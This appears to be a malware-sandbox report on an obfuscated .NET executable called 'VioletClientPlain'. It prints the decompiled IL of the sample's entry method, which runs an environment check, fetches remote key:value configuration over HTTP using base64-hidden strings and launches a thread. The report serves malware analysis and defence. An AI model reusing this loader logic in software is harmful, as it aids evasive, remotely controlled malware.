Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score High
PeID
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
1625a91b94d740a69115e7427dada77f
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Name Value
Module Name
microsoft
Full Name
microsoft
EntryPoint
System.Void WXRMLLJjSQWOIGhJXc.QLUIKRmiLBS::DQk2ijqfkc6FQI7zXU3S()
Scope Name
microsoft
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
VioletClientPlain
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
368
Main Method
System.Void WXRMLLJjSQWOIGhJXc.QLUIKRmiLBS::DQk2ijqfkc6FQI7zXU3S()
Main IL Instruction Count
109
Main IL 
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Boolean WXRMLLJjSQWOIGhJXc.QAHWTGbSNnS::FshhfS4ow2wqo7bMqg1M()
brtrue IL_001A: ldsfld System.Boolean WXRMLLJjSQWOIGhJXc.JLMQJIKjEjaPcwryN::WTs0Dmkk02czZQPhYVzc
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.Boolean WXRMLLJjSQWOIGhJXc.JLMQJIKjEjaPcwryN::WTs0Dmkk02czZQPhYVzc
brfalse IL_0146: ldnull
ldsfld System.String WXRMLLJjSQWOIGhJXc.JLMQJIKjEjaPcwryN::b7wUwdqjCTMJRiDtMQBt
call System.Net.WebRequest System.Net.WebRequest::Create(System.String)
castclass System.Net.HttpWebRequest
stloc.1 <null>
ldloc.1 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr R0VU
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
callvirt System.Void System.Net.HttpWebRequest::set_Method(System.String)
ldloc.1 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr TW96aWxsYS81LjA=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
callvirt System.Void System.Net.HttpWebRequest::set_UserAgent(System.String)
ldloc.1 <null>
callvirt System.Net.WebResponse System.Net.HttpWebRequest::GetResponse()
castclass System.Net.HttpWebResponse
stloc.2 <null>
ldloc.2 <null>
callvirt System.IO.Stream System.Net.HttpWebResponse::GetResponseStream()
newobj System.Void System.IO.StreamReader::.ctor(System.IO.Stream)
stloc.3 <null>
ldloc.3 <null>
callvirt System.String System.IO.StreamReader::ReadLine()
stloc.s V_4
br IL_0104: ldloc.s V_4
ldloc.s V_4
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue IL_00FC: ldloc.3
ldloc.s V_4
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr Og==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
callvirt System.Boolean System.String::Contains(System.String)
brfalse IL_00FC: ldloc.3
ldloc.s V_4
ldc.i4.1 <null>
newarr System.Char
stloc.s V_7
ldloc.s V_7
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
ldloc.s V_7
ldc.i4.2 <null>
callvirt System.String[] System.String::Split(System.Char[],System.Int32)
stloc.s V_5
ldloc.s V_5
ldlen <null>
conv.ovf.i4 <null>
ldc.i4.2 <null>
bne.un IL_00FC: ldloc.3
ldloc.s V_5
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stsfld System.String WXRMLLJjSQWOIGhJXc.JLMQJIKjEjaPcwryN::jS6jTEcoN7eeAXFiMEfe
ldloc.s V_5
ldc.i4.1 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stsfld System.String WXRMLLJjSQWOIGhJXc.JLMQJIKjEjaPcwryN::y7FNJ0ZVJHZUKcirUahR
ldloc.3 <null>
callvirt System.String System.IO.StreamReader::ReadLine()
stloc.s V_4
ldloc.s V_4
brtrue IL_008F: ldloc.s V_4
leave IL_011D: leave IL_012F
ldloc.3 <null>
brfalse IL_011C: endfinally
ldloc.3 <null>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave IL_012F: leave IL_0146
ldloc.2 <null>
brfalse IL_012E: endfinally
ldloc.2 <null>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave IL_0146: ldnull
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0146: ldnull
ldnull <null>
ldftn System.Void WXRMLLJjSQWOIGhJXc.QLUIKRmiLBS::RSAneFYkdD74VRuqbyqp()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.0 <null>
ldloc.0 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.0 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
microsoft
Full Name
microsoft
EntryPoint
System.Void WXRMLLJjSQWOIGhJXc.QLUIKRmiLBS::DQk2ijqfkc6FQI7zXU3S()
Scope Name
microsoft
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
VioletClientPlain
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
368
Main Method
System.Void WXRMLLJjSQWOIGhJXc.QLUIKRmiLBS::DQk2ijqfkc6FQI7zXU3S()
Main IL Instruction Count
109
Main IL 
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Boolean WXRMLLJjSQWOIGhJXc.QAHWTGbSNnS::FshhfS4ow2wqo7bMqg1M()
brtrue IL_001A: ldsfld System.Boolean WXRMLLJjSQWOIGhJXc.JLMQJIKjEjaPcwryN::WTs0Dmkk02czZQPhYVzc
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.Boolean WXRMLLJjSQWOIGhJXc.JLMQJIKjEjaPcwryN::WTs0Dmkk02czZQPhYVzc
brfalse IL_0146: ldnull
ldsfld System.String WXRMLLJjSQWOIGhJXc.JLMQJIKjEjaPcwryN::b7wUwdqjCTMJRiDtMQBt
call System.Net.WebRequest System.Net.WebRequest::Create(System.String)
castclass System.Net.HttpWebRequest
stloc.1 <null>
ldloc.1 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr R0VU
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
callvirt System.Void System.Net.HttpWebRequest::set_Method(System.String)
ldloc.1 <null>
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr TW96aWxsYS81LjA=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
callvirt System.Void System.Net.HttpWebRequest::set_UserAgent(System.String)
ldloc.1 <null>
callvirt System.Net.WebResponse System.Net.HttpWebRequest::GetResponse()
castclass System.Net.HttpWebResponse
stloc.2 <null>
ldloc.2 <null>
callvirt System.IO.Stream System.Net.HttpWebResponse::GetResponseStream()
newobj System.Void System.IO.StreamReader::.ctor(System.IO.Stream)
stloc.3 <null>
ldloc.3 <null>
callvirt System.String System.IO.StreamReader::ReadLine()
stloc.s V_4
br IL_0104: ldloc.s V_4
ldloc.s V_4
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue IL_00FC: ldloc.3
ldloc.s V_4
nop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr Og==
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
callvirt System.Boolean System.String::Contains(System.String)
brfalse IL_00FC: ldloc.3
ldloc.s V_4
ldc.i4.1 <null>
newarr System.Char
stloc.s V_7
ldloc.s V_7
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
ldloc.s V_7
ldc.i4.2 <null>
callvirt System.String[] System.String::Split(System.Char[],System.Int32)
stloc.s V_5
ldloc.s V_5
ldlen <null>
conv.ovf.i4 <null>
ldc.i4.2 <null>
bne.un IL_00FC: ldloc.3
ldloc.s V_5
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stsfld System.String WXRMLLJjSQWOIGhJXc.JLMQJIKjEjaPcwryN::jS6jTEcoN7eeAXFiMEfe
ldloc.s V_5
ldc.i4.1 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stsfld System.String WXRMLLJjSQWOIGhJXc.JLMQJIKjEjaPcwryN::y7FNJ0ZVJHZUKcirUahR
ldloc.3 <null>
callvirt System.String System.IO.StreamReader::ReadLine()
stloc.s V_4
ldloc.s V_4
brtrue IL_008F: ldloc.s V_4
leave IL_011D: leave IL_012F
ldloc.3 <null>
brfalse IL_011C: endfinally
ldloc.3 <null>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave IL_012F: leave IL_0146
ldloc.2 <null>
brfalse IL_012E: endfinally
ldloc.2 <null>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave IL_0146: ldnull
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0146: ldnull
ldnull <null>
ldftn System.Void WXRMLLJjSQWOIGhJXc.QLUIKRmiLBS::RSAneFYkdD74VRuqbyqp()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.0 <null>
ldloc.0 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.0 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Embedded Resources UNKNWOWN
0huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
An error has occurred. This application may no longer respond until reloaded. Reload 🗙